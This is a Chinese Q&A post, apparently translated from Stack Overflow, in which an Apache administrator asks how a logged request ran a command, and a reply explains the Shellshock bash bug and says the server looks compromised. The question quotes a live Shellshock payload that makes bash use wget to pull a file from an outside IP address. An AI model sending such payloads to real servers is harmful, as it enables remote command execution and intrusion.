如何防止Apache将请求行作为bash命令执行?

如何防止Apache将请求行作为bash命令执行?,apache,bash,security,shellshock-bash-bug,Apache,Bash,Security,Shellshock Bash Bug,我在Apache 2.2.22上运行了几个虚拟主机,刚刚注意到日志中发生了一个相当令人震惊的事件,来自冰岛的“安全扫描程序”能够通过以下http请求行将文件wget到cgi bin目录中: () { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\" 它有效地下载了相关文件。 有人能解释一下这个请求是如何实际执行bash命令的吗? 当然,cgi bin不应该是可写的,但是了解这种类型的攻击是如何工作的以及如果没有办法更

我在Apache 2.2.22上运行了几个虚拟主机,刚刚注意到日志中发生了一个相当令人震惊的事件,来自冰岛的“安全扫描程序”能够通过以下http请求行将文件wget到cgi bin目录中:

() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\"
它有效地下载了相关文件。
有人能解释一下这个请求是如何实际执行bash命令的吗?

当然,cgi bin不应该是可写的,但是了解这种类型的攻击是如何工作的以及如果没有办法更改Apache配置参数以使请求命令永远不会执行,这将仍然是很有帮助的

这可能是不相关的,但几个小时后,从内部接口开始出现一系列奇怪的请求,每2秒发生一次:

host:    ":443"   request:  "NICK netply"    source ip: 127.0.0.1

这是bash中的一个漏洞,通过Apache暴露,称为“Shellshock”或“bash bug”,允许攻击者在本地和远程执行任意命令,这是一个非常严重的漏洞

您需要更新
bash
,但您正在显示出系统已经受损的迹象。有关shellshock(包括检测和固定)的更多信息,请参阅: